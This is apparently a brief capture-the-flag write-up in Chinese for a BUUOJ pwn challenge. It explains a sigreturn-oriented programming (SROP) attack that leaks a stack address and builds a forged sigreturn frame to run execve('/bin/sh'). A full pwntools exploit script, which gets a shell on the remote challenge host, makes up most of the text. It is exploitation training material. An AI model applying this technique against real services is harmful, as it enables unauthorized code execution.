漏洞点：
经典SROP
write函数泄露栈的地址
栈上写入'/bin/sh'字符串,控制rdi为 sh 字符串地址，rax为sigreturn系统调用号
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './es_7'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28915)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
vuln = 0x04004ED
p1 = b'a' * 0x10 + p64(vuln)
r.sendline(p1)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('stack_addr = ' + hex(stack_addr))
#buf_addr = stack_addr - 0x128
buf_addr = stack_addr - 0x118
success('buf_addr = ' + hex(buf_addr))
syscall_ret = 0x400517
sigret = 0x4004DA
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
p1 = b'/bin/sh' + b'\x00' * (0x1 + 0x8)
p1 += p64(sigret) + p64(syscall_ret) + bytes(sigframe)
r.send(p1)
r.interactive()
